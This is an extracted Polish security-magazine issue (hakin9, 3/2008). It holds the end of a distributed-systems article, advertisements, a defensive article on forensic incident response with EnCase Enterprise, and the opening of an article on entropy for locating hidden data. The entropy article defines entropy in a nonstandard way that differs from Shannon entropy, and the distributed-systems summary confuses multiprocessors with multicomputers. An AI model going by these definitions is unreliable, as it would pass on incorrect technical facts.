wujący  całość  informacji  o  konfi-
guracji  odwzorowań  nazw  na  ad-
resy.  Informacja  ta  jest  rozproszo-
na  pomiędzy  wszystkie  serwery
nazw, które odpowiadają za obsłu-
gę  pojedynczych  domen  nazewni-
czych.  Translację  wybranej  nazwy
dokonuje serwer nazw dla domeny,
z  której  pochodzi  testowana  na-
zwa.

Zwielokrotnianie (ang. repli-

cation)  daje  możliwość  nie  tylko
zwiększenia dostępności zasobów,
ale  także  równoważenia  obciąże-
nia.  W  efekcie  systemy  stosujące
replikację  (potencjalnie)  charakte-
ryzują się większą wydajnością. Co
więcej, zwielokrotniony serwer mo-
że  być  zastąpiony  innym  w  przy-
padku  awarii.  Jeżeli  zwielokrotnio-
ne  serwery  są  dodatkowo  rozpro-
szone, to średnia odległość do naj-
bliższego serwera ulega skróceniu,
co  skutkuje  dodatkowo  możliwo-
ścią  maskowania  opóźnień  komu-
nikacyjnych.

Pewną formę zwielokrotnia-

nia  stanowi  stosowanie  pamię-
ci  podręcznych  (ang.  cache),  któ-
rych  zawartość  jest  również  ko-
pią  oryginalnych  danych.  O  ile
jednak  przy  zwielokrotnianiu  de-
cyzję  o  utworzeniu  kopii  podej-
muje  właściciel  zasobu,  o  tyle
w przypadku przechowywania pod-
ręcznego  decyzję  taką  podejmu-
je  sam  klient.  Tworzenie  kopii  za-
sobów  powoduje  jednak  powsta-
wanie  problemu  spójności  danych,
jeżeli  jedna  z  kopii  zostanie  zmo-
dyfikowana.  Częste  modyfikacje
i  ich  propagacje  do  pozostałych
serwerów

mogą

spowodować

znaczne ograniczenie skalowalno-

ści systemu stosującego replikację.
Z drugiej strony, użytkownicy mogą
odwoływać się do danych, które nie
są już aktualne, co nie zawsze bę-
dzie akceptowalne (np. w przypad-
ku  operacji  bankowych).  Użytkow-
nicy mogą formułować swoje ocze-
kiwania co do spójności zwielokrot-
nianych  danych  poprzez  tzw.  mo-
dele  spójności  opisujące  gwaran-
cje,  których  udziela  system.  Doty-
czą one propagacji zmian do pozo-
stałych  kopii  oraz  uporządkowania
operacji  realizowanych  współbież-
nie  na  wielu  serwerach.  Globalne
porządkowanie  operacji  może  jed-
nak  wymagać  stosowania  scentra-
lizowanego przetwarzania, co oczy-
wiście  jest  rozwiązaniem  nieska-
lowalnym.  Nie  zawsze  więc  zwie-
lokrotnianie  jest  właściwą  metodą
na  zwiększanie  skalowalności  sys-
temu.

Systemy rozproszone budowa-

ne  są  z  pojedynczych  komputerów
połączonych  siecią.  Z  punktu  wi-
dzenia  programisty  nie  jest  obojęt-
ne, jaka jest budowa pojedynczych
maszyn  w  systemie  rozproszonym,
gdyż  rzutuje  to  na  sposób  progra-
mowania  takich  systemów.  Gene-
ralnie  można  wyróżnić  dwie  klasy
systemów  komputerowych:  wielo-
procesory i multikomputery. Zasad-
nicza różnica polega na innej orga-
nizacji dostępu do pamięci. W wie-
loprocesorach  wszystkie  procesory
mają  dostęp  do  jednej,  wspólnej
przestrzeni adresowej. W multikom-
puterach każda jednostka ma swoją
lokalną pamięć.

Drugim ważnym parametrem

wyznaczającym  charakter  syste-
mu  rozproszonego  jest  architek-
tura  połączeń  pomiędzy  poszcze-
gólnymi  węzłami.  Połączenia  mo-
gą być realizowane poprzez central-
ną  szynę  lub  w  technologii  przełą-
czanej. Połączenia szynowe w wie-
loprocesorach  ułatwiają  zarządza-
nie spójnością danych, ale z drugiej

strony bardzo ograniczają skalowal-
ność;  szyna  przy  niedużej  liczbie
procesorów  staje  się  wąskim  gar-
dłem.  Często  stosowanym  rozwią-
zaniem w takim przypadku jest za-
stosowanie  pamięci  podręcznych.
Algorytmy  wymiany  zawartości  pa-
mięci podręcznej pozwalają na uzy-
skiwanie wysokich współczynników
trafień  (ang.  hit  rate),  co  pozwala
na  znaczne  ograniczenie  częstotli-
wości  odwołań  do  głównej  szyny.
Z  drugiej  jednak  strony  stosowanie
pamięci  podręcznej  powoduje  po-
wstawanie problemu spójności kopii
tych samych danych przechowywa-
nych na różnych węzłach.

Podsumowanie

Wieloprocesory  budowane  są  po-
przez  połączenie  wielu  autonomicz-
nych komputerów siecią. Jeżeli wyko-
rzystywane są komputery o tej samej
architekturze,  to  mamy  do  czynienia
z siecią systemową. Połączenia mo-
gą być również realizowane w archi-
tekturze  szynowej  lub  przełączanej.
W przypadku architektury przełącza-
nej stosuje się wyznaczanie tras (tra-
sowanie) komunikatów przez sieć po-
łączeń. Dwie najpopularniejsze topo-
logie połączeń pomiędzy węzłami to
siatki  (kraty)  i  hiperkostki.  Kraty,  po-
nieważ są dwuwymiarowe, są łatwiej-
sze do implementacji na płaskiej płyt-
ce obwodu drukowanego. Hiperkost-
ka  jest  sześcianem  n-wymiarowym.
Praktyczne realizacje koncepcji mul-
tikomputera korzystają bądź ze spe-
cjalizowanej  (często  opatentowanej)
sieci  połączeń  bądź  ze  standardo-
wych rozwiązań stosowanych w sie-
ciach  komputerowych  (np.  technolo-
gia  Ethernet).  Pierwsze  podejście,
oczywiście dużo droższe, stosowa-
ne jest w komputerach o masywnej
równoległości.  Multikomputery  ba-
zujące na standardowych technolo-
giach zwane są z kolei gronami, gru-
pami stacji roboczych lub po prostu
klastrami. l

O autorze

Student informatyki który interesuje się logiką rozmytą.
Kontakt z autorem: spinacz24@gmailcom

CCNS

Działalność  firmy  skoncentrowana  jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa  funkcjonowania  Klienta
w  realiach  współczesnej  gospodarki.
Jako Expert Partner firmy WatchGuard
Inc.  oferujemy  kompleksowe  rozwiąza-
nia  bezpieczeństwa  sieci  i  systemów
informatycznych  obejmujące  nowo-
czesne  urządzenia  typu  Unified  Thre-
at  Management,  niezawodny  serwis
i szeroki wachlarz szkoleń.

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
profesjonalny  system  CashBill.pl,
umożliwiający  zarządzanie  usługami
SMS  Premium  Rate  w  sektorze  B2B
i  B2C.  Oferujemy  również  szeroki
wachlarz  usług  mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.

Zepter IT

Zepter  IT  to  dynamicznie  rozwijają-
ca  się  firma,  specjalizująca  się  w  re-
alizacji  projektów  informatycznych.
Oferujemy  rozwiązania  dla  biznesu
i  zarządzania  takie  jak  systemy  ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce,  tworzenie  aplikacji  internetowych
oraz systemów zarządzania treścią.

Petrosoft

Partner  Microsoft  Bussiness  Solutions
Dynamics  GP.  Budowa  sklepów  inter-
netowych, serwisów WWW, prezentacji
multimedialnych.  Budowa  sieci  LAN,
WAN,  telekomunikacyjnych.  Telefonia
stacjonarna,  VoiceIP.  Usługi  outsor-
cingowe  dla  dużych  firm  z  zakresu
informatyki  i  telekomunikacji.  Opro-
gramowanie  na  zamówienia.  Dostawa
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas:

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym  przedmiotem  działalności  fir-
my  jest  produkcja,  wdrażanie  i  sprze-
daż  systemów  służących  do  ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl  działa  na  rynku  usług  hostin-
gowych  od  2000  roku.  Do  naszych
zadowolonych  Klientów  z  dumą
możemy zaliczyć wiele przedsiębiorstw
sektora  MSP,  instytucji  oraz  osób  pry-
watnych.  W  ofercie  Kei.pl  znajdują  się
pakiety  hostingowe,  a  także  usługi  dla
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.

http://www.kei.pl

www.hakin9.org

hakin9 Nr 3/2008

Obrona

ytuacja jeszcze bardziej się kompli-
kuje, gdy niezbędnym elementem po-
stępowania jest zachowanie go w ta-

jemnicy, a zgromadzony materiał dowodowy
ma  być  przekonujący.  Wprowadzenie  do  or-
ganizacji  polityki  bezpieczeństwa  w  zgodzie
z PN-ISO/IEC 27001:2007 określa, jakie pro-
cedury  i  działania  powinny  być  wdrożone  w
zakresie zapewnienia, że zdarzenia związa-
ne  z  bezpieczeństwem  informacji  oraz  sła-
bościami  systemów  podlegają  zarządzaniu
(patrz Ramka Zarządzanie incydentami).

Norma wymaga, aby proces zarządza-

nia incydentami był reaktywny. Aby reagować
sprawnie i skutecznie, narzuca formalne meto-
dy pracy, które mogą i powinny być wsparte na-
rzędziami informatycznymi.

W przypadku wystąpienia incydentu np.

gromadzenia przez pracownika danych oso-
bowych lub odnalezienia szkodliwej aplika-
cji, opanowanie zdarzenia powinno zmierzać
w kierunku powstrzymania działań, pozna-
nia ich podłoża i wyeliminowania możliwości
ich zajścia w przyszłości. W tradycyjnym po-
dejściu, podejrzany komputer na ogół zosta-
je wyizolowany i poddany analizie. Metoda ta
rzadko zakłada jednak, że zgromadzone z in-

cydentu dane powinny być zgodne z zasada-
mi materiału dowodowego.

Odrobina prawa

Według najprostszej definicji dowód elektro-
niczny jest informacją w formie elektronicz-
nej, mogącą mieć znaczenie dowodowe. Istnie-
je on sam w sobie w postaci informacji zapisa-
nej na nośniku (jest jego właściwością). Sam
nośnik nie jest dowodem. Cechy dowodu elek-
tronicznego:

• łatwość modyfikacji,
• wymagają szczególnych środków technicz-

nych do ich zabezpieczania,

Informatyka śledcza

jako element reakcji na

incydenty

Przemysław Krejza

stopień trudności

Zarządzanie incydentem (incident response – IR) jest jedną

z trudniejszych problematyk związanych z bezpieczeństwem

informacji, szczególnie w dużych organizacjach. Zapanowanie

nad problemem jest często skomplikowane, czasochłonne i tym

trudniejsze, im większe są rozmiary incydentu. Występują również

problemy z określeniem jego skali.

Z artykułu dowiesz się

•   co to jest EnCase Enterprise,
•   co to jest informatyka śledcza,
•   co to jest dowód elektroniczny.

Co powinieneś wiedzieć

• powinieneś znać podstawy zasad bezpieczeń-

stwa informacji.

Informatyka śledcza

hakin9 Nr 3/2008

www.hakin9.org

• poszlakowy charakter,
• równość kopii i oryginału.

Na  gruncie  prawa  polskiego  dowód
elektroniczny  nie  posiada  szczegól-
nego  wyróżnienia,  jednak  –  wbrew
powszechnym poglądom – zarówno
w prawie karnym, jak i cywilnym oraz
administracyjnym  jest  pełnoprawny
i  jest  z  powodzeniem  stosowany  w
postępowaniu. Dowód elektroniczny
a prawo polskie:

• w postępowaniu karnym trak-

towany jest tak, jak każdy inny
dowód rzeczowy (rozdział 25
KPK),

• w prawie cywilnym obowiązu-

je swobodna ocena dowodów,
ale może być dowodem z doku-
mentu, opinii biegłego lub innym
środkiem dowodowym,

• w postępowaniu administracyj-

nym jest dopuszczony przez art.
75 K.P.A.

Każde  zdarzenie  bowiem,  mimo
początkowego braku znamion, mo-
że znaleźć swój finał w sądzie. Po-
nieważ  w  większości  przypadków
incydent związany jest z informacją
cyfrową, musi ona posiadać szcze-
gólne cechy, aby miała wartość do-
wodową.  Powszechne  przekona-
nie, że w Polsce nie ma to znacze-
nia,  jest  błędne  (patrz  Ramka  Za-
rządzanie  incydentami),  gdyż  rów-
nież  u  nas  dowód  elektroniczny
pełnoprawny  jest  respektowany
przez Sąd.

Właściwe praktyki IR muszą za-

kładać  stosowanie  narzędzi  odpo-
wiednich z tego punktu widzenia. W
nowoczesnych  organizacjach  miej-
sce  tradycyjnego  podejścia  zajmuje
Informatyka Śledcza, oferująca pro-
cedury i narzędzia spełniające rów-

nież  założenia  dowodowe.  Podsta-
wowym  elementem  jest  tu  powoła-
nie  odpowiednio  umocowanej  gru-
py  CSIRT  (Computer  Security  Inci-
dent  Response  Team)  i  wyposaże-
nie jej w odpowiednie narzędzia – od
pojedynczych  stanowisk  analitycz-
nych aż po rozległe platformy, obej-
mujące swoim zasięgiem dowolnych
rozmiarów  środowisko  komputero-
we, umożliwiające prowadzenie ana-
liz w obrębie enterprise oraz tworze-
nie dokumentacji z wydzieleniem au-
tentycznego materiału dowodowego,
w  celu  wypełnienia  zaleceń  A.13.2
Normy  (patrz  Ramka  Zarządzanie
incydentami).

Zasady związane z

dowodem elektronicznym

Autentyfikacja. Aby dowód elek-
troniczny został dopuszczony, mu-
si być – podobnie, jak inne dowo-
dy rzeczowe – autentyczny, wier-

ny, kompletny i przystępny. Auten-
tyczność  i  wierność  oznacza  ko-
nieczność  obrony  dowodu  przed
zarzutem  manipulacji,  a  więc  wy-
kazania, że pochodzi z określone-
go  miejsca  i  czasu.  Kompletność
oznacza,  że  dopiero  suma  ele-
mentów  (logi,  pliki,  polityki)  może
być dowodem. Przystępność to ko-
nieczność przedstawienia dowodu
w formie czytelnej dla odbiorcy.

Kluczowym elementem auten-

tyfikacji  jest  właściwe  zabezpiecze-
nie,  które  wiąże  się  z  powstaniem
tzw.  łańcucha  dowodowego,  będą-
cego nieodłącznym elementem każ-
dego  kroku  śledztwa.  Najważniej-
szym  elementem  zabezpieczania
jest  uwierzytelnienie  materiału,  naj-
lepiej z wykorzystaniem sum kontro-
lnych odnotowanych w protokole za-
bezpieczania.

Łańcuch dowodowy determinu-

je  wartość  dowodu  i  bezpośrednio
wpływa  na  jego  siłę  w  prezentacji.
Łańcuch  dowodowy,  który  można
podważyć,  pozwoli  na  obalenie  do-
wodu. Najprościej rzecz ujmując, po-
winien  on  –  poprzez  dokumentację
materialną  –  gwarantować  przejrzy-
stość zabezpieczenia, badania i pre-
zentacji dowodu tak, aby zawsze ist-
niała pewność, iż dowód, ze względu
na swoje cechy, nie został w jakikol-

Rysunek 1.

Analiza incydentu – nieautoryzowane przechowywanie

dokumentów przez pracownika

Zarządzanie incydentami WG PN-ISO/IEC 27001:

2007, załącznik normatywny A

• Zdarzenia (...) powinny być zgłaszane (...) tak szybko jak to możliwe,
• W organizacji powinny istnieć mechanizmy umożliwiające liczenie i monitorowanie

rodzajów, rozmiarów (...) incydentów (...),

• Jeśli działania podejmowane (...) obejmują kroki prawne (...) powinno się groma-

dzić (...) materiał dowodowy zgodnie z zasadami materiału dowodowego (...).

hakin9 Nr 3/2008

www.hakin9.org

Obrona

wiek sposób zmieniony. Ważne jest
przy tym, aby łańcuch był maksymal-
nie krótki, tj. aby ilość osób zaanga-
żowanych  w  postępowanie  była  jak
najmniejsza,  a  każda  zmiana  oso-
by  i  ewentualnie  wykonywana  ope-
racja była odnotowana w odpowied-
nim protokole. Łańcuch nie może po-
siadać żadnych luk. Luką może być
np.  przesłanie  nośnika  z  dowodem
pocztą  lub  oprogramowanie  użyte
do  zabezpieczania  nieposiadające
cech  wiarygodności,  a  nawet  użyte
bez odpowiedniej licencji.

EnCase Enterprise (EE)

Kluczem  do  sukcesu  dedykowanej
platformy  jest  architektura  systemu
opierająca  się  zasadniczo  o  działa-
nie w układzie klient/serwer w opar-
ciu o trzy elementy:

• SERVLET – pasywna usługa

na  prawach  konta  systemowe-
go,  pracująca  w  trybie  jądra,
będąca  swego  rodzaju  wtycz-
ką do zdalnego urządzenia. Se-
rvlet przewidziany jest dla więk-
szości systemów operacyjnych.

• SAFE – jest kluczowym elemen-

tem  bezpieczeństwa  platformy.
Odpowiada  za  przydział  praw  w
ramach  CSIRT,  klucze  użytkow-
ników, szyfrowanie transmisji itd.

• EXAMINER – środowisko śled-

cze,  oferujące  narzędzia  anali-
tyczne,  środowisko  skryptowe
oraz  zdalny  dostęp  do  wszyst-
kich  stacji,  na  których  funkcjo-
nuje servlet.

Pracując  na  niskim  poziomie,  se-
rvlet  oferuje  absolutny  dostęp  do
badanego  systemu,  dając  możli-
wość  zdalnej  analizy  za  pomocą
examinera wszystkich jego elemen-
tów, począwszy od fizycznej zawar-
tości nośników, poprzez zdalne od-
zyskiwanie  danych,  aż  po  wszyst-
kie  zasoby  systemu  –  w  tym  rów-
nież używane w trybie wyłączności
lub ukryte.

Analiza incydentów

Zastosowanie  platformy  dalekie
jest  od  tradycyjnego  podejścia.
Analiza  incydentów  w  odpowiedzi
na  różnego  typu  alerty  (np.  nie-
potwierdzone  plotki),  jak  w  przy-

kładzie  powyżej,  wymaga  jedynie
znajomości  adresu  IP  podejrza-
nego.  W  zamieszczonym  poniżej
zrzucie ekranu przedstawiono do-
wód  na  posiadanie  przez  pracow-
nika danych kredytobiorców.

Zdalna analiza spełnia przy tym

wymagania informatyki śledczej, za-
braniające  jakiejkolwiek  ingerencji
w  materiał  dowodowy.  Odnaleziony
materiał może zostać zdalnie zabez-
pieczony i autentyfikowany za pomo-
cą sumy kontrolnej. Tworzący się au-
tomatycznie  raport  może  stanowić
protokół  zabezpieczania.  Zgodnie  z
wymogami  Normy,  wystąpienie  ta-
kiego  incydentu  (A.13.2.2)  powinno
pociągnąć za sobą badanie rozmia-
rów  problemu.  Zwyczajowo,  jedyną
możliwością jest rozległy audyt sys-
temu  i  wprowadzenie  dodatkowych
zaleceń. W przypadku EE wystarczy
stworzenie  odpowiedniej  kweren-
dy, zadanie zapytania do całej sieci
i otrzymanie raportu skali.

Problem danych osobowych nie

jest  jednak  największym,  który  mo-
że wystąpić w rozległej sieci. Znacz-
nie  bardziej  skomplikowane  i  czaso-
chłonne są analizy szkodliwych apli-
kacji,  zwłaszcza  tych  ukrywających
się, typu HOOK lub DKOM. Wykrycie
incydentu,  wobec  bezbronności  pro-
gramów  antywirusowych,  jest  trud-
ne i na ogół przypadkowe. Wymaga-
na jest izolacja zainfekowanego śro-
dowiska i żmudne usuwanie szkodli-
wych  kodów.  Poniżej  przedstawiono
analizę  procesów  (snapshot)  w  EE,
wśród  których  znajduje  się  rootkit
Hacker Defender. Ze względu na tryb
pracy  servletu  ukryte  procesy  (rów-
nież injected drivers, DLLe oraz ukry-
te połączenia IP) są widoczne z po-
ziomu examinera.

Ta funkcjonalność pozwala na

analizę zasobów dynamicznych, po-

W Sieci

•   http://www.mediarecovery.pl,
•   http://www.forensictools.pl,
•   http://www.guidancesoftware.com,
•   http://pl.wikipedia.org/wiki/Informatyka_%C5%9Bledcza.

Rysunek 2.

Analiza skali incydentu

Informatyka śledcza

hakin9 Nr 3/2008

www.hakin9.org

równywanie ich ze wzorcem (opisa-
nym za pomocą hashy) i wykrywanie
zmian w obrębie całej sieci. Mając ta-
kie możliwości łatwiej zidentyfikować
nieoczekiwane procesy. Tak jak w po-
przednim przykładzie, łatwa jest rów-
nież ocena ich skali, a nawet remedia-
cja wybranych elementów w obrębie
sieci (niszczenie ujawnionych doku-
mentów, zabijanie procesów), w tym
również automatycznie w ramach de-
finicji odpowiedzi na incydenty.

Określone w Normie (A10.4) obo-

wiązki dotyczące złośliwego oprogra-
mowania w przypadku EE oznaczają

możliwość stworzenia zasad syste-
mów (profili), dzięki którym inspekcja
może być znacznie łatwiejsza i szyb-
ka nawet w skali korporacji. Sprzęże-
nie platformy z BIT9 (międzynarodo-
wa baza hashy) daje możliwość prze-
szukiwania uruchomionych procesów
w obrębie zasobów i odnajdywania
tych niepożądanych.

Podsumowanie

Każda organizacja przygotowana na
zagrożenia  musi  posiadać  w  swoim
systemie  bezpieczeństwa  nie  tylko
rozwiązania  prewencyjne,  ale  rów-

nież pozwalające na przejęcie i opa-
nowanie incydentu po jego wystąpie-
niu, także w aspekcie zgromadzenia
dowodów  o  wartości  odpowiedniej
dla postępowań przed sądem. Infor-
matyka  Śledcza  pozwala  wypełnić
tę  lukę  i  przygotować  odpowiednie
narzędzia  oraz  procedury  również
w  mniejszej  niż  EnCase  Enterprise
skali.  Przedstawiona  skrótowo  plat-
forma śledcza jest jednak rozwiąza-
niem  kompleksowym,  przeznaczo-
nym  dla  dużych  firm  i  instytucji,  w
których istnieją lub są wdrażane za-
sady bezpieczeństwa oparte na po-
wszechnych  wzorcach  (SOX,  ISO).
Jego konstrukcja daje nowe spojrze-
nie  na  bezpieczeństwo  informacji,
umożliwia  badania  najbardziej  zło-
żonych  incydentów,  a  także  wypeł-
nia  wiele  normatyw  przytoczonych
norm  (prewencja,  inspekcja,  audyt).
Przyszłością  bezpieczeństwa  infor-
macji jest integracja z tego typu sys-
temami. l

O autorze

Przemysław Knejza. Lat 33, EnCE, Dyrektor ds. badań i rozwoju w Mediareco-
very, największej polskiej firmie świadczącej profesjonalne usługi informatyki
śledczej (computer forensics). Prawnik, informatyk. Wcześniej 8 lat na stano-
wisku zarządzania działem odzyskiwania danych w firmie Ontrack. Autor publi-
kacji na tematy związane z odzyskiwaniem danych i informatyką śledczą. Ma
córeczkę. W wolnych chwilach słucha Floydów.
Kontakt z autorem: biuro@mediarecovery.pl

Rysunek 3.

Analiza incydentu – rootkit hacker defender (HXDEF100)

www.hakin9.org

hakin9 Nr 3/2008

Obrona

a początek trochę teorii, czyli matema-
tyczna definicja entropii omawianej w
dalszej części tego artykułu: entropia

jest funkcją pewnego ciągu danych, którą moż-
na wyrazić jako sumę iloczynów prawdopodo-
bieństw wystąpienia danego znaku oraz ilości
jego wystąpień w ciągu danych. W pseudoko-
dzie obliczanie entropii wygląda następująco:

entropia = 0
dla każdego znaku 'i' w danym alfabecie:
entropia = entropia + p(i) * ilość(i)

gdzie  p(i)  to  prawdopodobieństwo  wystąpie-
nia znaku i w danym zbiorze danych, a ilość(i)
to ilość jego wystąpień w tym ciągu. Tak zde-
finiowana  entropia  przyjmuje  wartości  od  1  do
wielkości  równej  co  do  wartości  ilości  znaków
w ciągu.

Tyle teorii. W praktyce alfabetem są zazwy-

czaj wszystkie znaki ASCII (konkretnie wszyst-
kie 256 wartości, które może przyjąć jeden bajt),
a ciąg danych to po prostu pewne dane binarne,
których entropię chcemy zmierzyć – na przykład
plik. Jeżeli chodzi o praktyczne wartości zwra-
cane przez funkcję entropii, to wyobraźmy sobie
dwa przypadki. W pierwszym z nich załóżmy, że

mamy plik o wielkości 256 bajtów, który zawie-
ra same litery A. W takim wypadku prawdopo-
dobieństwo wystąpienia litery A jest stuprocen-
towe, a prawdopodobieństwo wystąpienia jakie-
gokolwiek innego znaku jest zerowe – tak więc
entropia będzie wynosić 1 * 100% * 256 bajtów
+ 255 * 0% * 0, czyli (pozbywając się jednostek)
256. W drugim, skrajnie przeciwnym przypadku,
wyobraźmy sobie plik, również o wielkości 256
bajtów, który zawiera wszystkie znaki ASCII (tj.
każdy możliwy znak ASCII wystąpi w nim do-
kładnie raz). Wtedy prawdopodobieństwo wy-
stąpienia każdego znaku wynosi 1 / 256, a en-
tropia będzie sumą dwustu pięćdziesięciu sze-

Entropia – pomiar

i zastosowanie

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Entropia, rozumiana jako wielkość losowości pewnych danych,

może służyć wprawnemu badaczowi jako narzędzie pomocne

w wyszukiwaniu ukrytych danych oraz interpretacji budowy

nieznanych plików. Niniejszy artykuł ma na celu przedstawić

Czytelnikowi zagadnienia związane z entropią.

Z artykułu dowiesz się

• co to jest entropia,
• jak wykorzystać pomiary entropii do lokalizo-

wania ukrytych danych,

• jak interpretować wykresy entropii danych.

Co powinieneś wiedzieć

• mieć ogólne pojęcie o matematyce,
• mieć ogólne pojęcie o informatyce.

Entropia

hakin9 Nr 3/2008

www.hakin9.org

ściu iloczynów 1 / 256 * 1 bajt, co
sprowadzi się do 256 / 256 czyli po
prostu do entropii równej jeden.

Zatem entropia jest średnią wa-

żoną  prawdopodobieństw  wystąpień
każdego  ze  znaków  ASCII  w  okre-
ślonym ciągu danych. Należy zauwa-
żyć, że czym mniejsza wartość entro-
pii w powyższym przypadku, tym wię-
cej rodzajów znaków zostało użytych.
Pojawia  się  pytanie  –  czy  są  jakieś
charakterystyczne  wartości  (lub  ich
przedziały)  entropii  dla  różnego  ro-
dzaju  danych?  Przed  przejściem  do
odpowiedzi na to pytanie należy jesz-
cze powiedzieć dwie rzeczy.

Po pierwsze, wartość entropii NIE

ZALEŻY od kolejności wystąpień da-
nych znaków w ciągu, a jedynie od ich
ilości  oraz  całkowitej  długości  ciągu
(można jednak temu prosto zaradzić
wyliczając na przykład entropię z cią-
gu różnic kolejnych bajtów lub wyko-
nując  bardziej  skomplikowane  trans-
formacje).  Po  drugie,  entropia  wyra-
żana w skali od 1 do długości ciągu
wydaje się być mało wygodna, dlate-
go w dalszej części artykułu posługi-
wać się będę entropią wyrażoną pro-
centowo.  Przekształcenie  na  wynik
procentowy  uzyskać  można  korzy-
stając z prostego wzoru:

Entropia = (1 - Entropia / Długość_

Ciągu) * 100%

Tak  więc  entropia  0%  oznaczać  bę-
dzie  stały  ciąg  (na  przykład  sa-
me literki A), a entropia na poziomie
99,9%  (100%  nigdy  tak  naprawdę
nie osiągnie) – ciąg całkowicie loso-
wy.  Dodatkowo  można  jeszcze  pod-
nieść  uzyskaną  wartość  do  kwadra-

tu, aby zwiększyć różnicę między
poszczególnymi (górnymi) pozioma-
mi entropii.

Rodzaj danych a entropia

Okazuje się że poziom entropii różne-
go rodzaju danych różni się od siebie.
Tak więc tekst w języku naturalnym bę-
dzie miał inny poziom entropii niż kod
maszynowy, a ten z kolei będzie miał
inny poziom entropii niż skompresowa-
ne dane. Przeanalizujmy poszczególne
przypadki. Tekst w języku naturalnym
zawiera w sobie jedynie niewielki wy-
cinek całego alfabetu ASCII. Przykła-
dowo do napisania niniejszego artykułu
wystarczyły jedynie małe i wielkie lite-
ry łacińskie, małe i wielkie polskie znaki
diakrytyczne oraz pewne znaki specjal-
ne, takie jak kropka, nawias czy znak
pusty (spacja).

Tekst w języku naturalnym ma

zazwyczaj  entropię  na  poziomie  od
94,5% do 95,3%, a entropię^2 na po-
ziomie od 87% do 92%. Należy zazna-
czyć, że entropia ta może być niższa w
przypadku, gdy dane słowo (lub jakaś
jego część) często się powtarza – na
przykład  w  wierszach/tekstach  piose-
nek  lub  jako  często  używany  prefiks
nazwy obiektu w programie. Kolejnym
rodzajem  danych  może  być  kod  ma-

szynowy,  czyli  skompilowany  asem-
bler.  Entropia  kodu  maszynowego  za-
leży w dużej części od rodzaju opera-
cji, które są w analizowanym fragmen-
cie wykonywane. Przykładowo oblicze-
nia arytmetyczne (ADD, SUB, DIV etc.)
mają inne opkody (ang. opcode) niż ob-
liczenia wykonywane na koprocesorze
(FADD etc.), a te z kolei różnią się od
opkodów instrukcji kontrolujących prze-
bieg  aplikacji  (JMP,  TEST,  CMP,  JNZ
etc.). Tak więc ciąg, w którym program
wykonuje jedynie obliczenia na kopro-
cesorze,  będzie  miał  niższą  entropię
niż ciąg, w którym jest wszystkiego po
trochu. Kod maszynowy charakteryzu-
je się entropią na poziomie od 80% do
98%, a entropią^2 na poziomie od 64%
do 97%.

W przypadku skompresowanych

danych sprawa jest prostsza, ponieważ
istotą kompresji jest dążenie do upako-
wania  jak  największej  ilości  informacji
w jak najmniejszej ilości bajtów, co wy-
musza znaczny wzrost entropii wzglę-
dem oryginału. Dokładny poziom entro-
pii zależy od algorytmu kompresji, jed-
nak prawdopodobnie będzie on na po-
ziomie od około 99% wzwyż (czyli en-
tropia^2 będzie na poziomie około 98%
wzwyż). Ostatnim ciekawym przypad-
kiem  są  wszelkiego  rodzaju  protoko-
ły  oraz  formaty  binarne  (takie,  jak  na
przykład  format  symboli  debugge-
ra czy format nagłówków sekcji plików
wykonywalnych). Dane w nich są wy-
soce uporządkowane, zazwyczaj skła-
dają się z offsetów, adresów i tym po-
dobnych rzeczy, a także (co każdy pro-
gramista oraz reverse engineer dobrze
wie)  znajduje  się  w  nich  bardzo  dużo
zer  (zer  binarnych  –  znaków  ASCII  o
kodzie 0). Tego typu dane mają entro-
pię na poziomie od 40% do 75%, a en-
tropię^2 na poziomie od 16% do 55%.
Pomiar  entropii  innych  rodzajów  da-

Rysunek 1.

Porównanie entropii programu z danymi jawnymi oraz

zaszyfrowanymi

Rysunek 2.

Wykres entropii^2 dla pliku calc.exe

hakin9 Nr3/2008

www.hakin9.org

Obrona

nych pozostawiam Czytelnikowi jako
zadanie domowe.

Szyfrowanie a entropia

Entropia zaszyfrowanego ciągu da-
nych, w zależności od użytego algoryt-
mu szyfrowania, może się w ogóle nie
zmienić, lub znacznie wzrosnąć.

Pierwszy przypadek jest często

spotykany w przypadku algorytmów, w
których jeden znak jest zamieniany na
inny – tak, jak w przypadku szyfru Ce-
zara lub w części automatycznie gene-
rowanych  algorytmów  używanych  do
szyfrowania  kodu  w  plikach  wykony-
walnych.  Takie  algorytmy,  zazwyczaj
trywialne, zbudowane są z szeregu od-
wracalnych instrukcji arytmetyczno-lo-
gicznych – takich jak ADD, SUB, ROR,
ROL, XOR, INC czy DEC – oraz korzy-
stają  ze  stałego,  jednobajtowego  klu-
cza,  który  jest  argumentem  poszcze-
gólnych instrukcji. Należy zauważyć, iż
w wypadku takich algorytmów zmienią
się kody poszczególnych znaków, na-
tomimast  pary  prawdopodobieństwa
oraz ilości wystąpień pozostaną stałe,
w związku z czym entropia nie ulegnie
zmianie (jako, że we wzorze na entro-
pie kod znaku nie ma znaczenia).

W przypadku algorytmów, które

szyfrują  całe  bloki  informacji  lub  szy-
frują strumieniowo, ale w których istot-
ne jest miejsce wystąpienia znaku (tj. w
których  A  na  pozycji  trzeciej  zostanie
inaczej zaszyfrowane niż A na pozycji
czwartej) poziom entropii się zmieni. W
przypadku większości algorytmów szy-
frowania  bezpiecznie  jest  powiedzieć
nawet, że entropia wzrośnie do pozio-
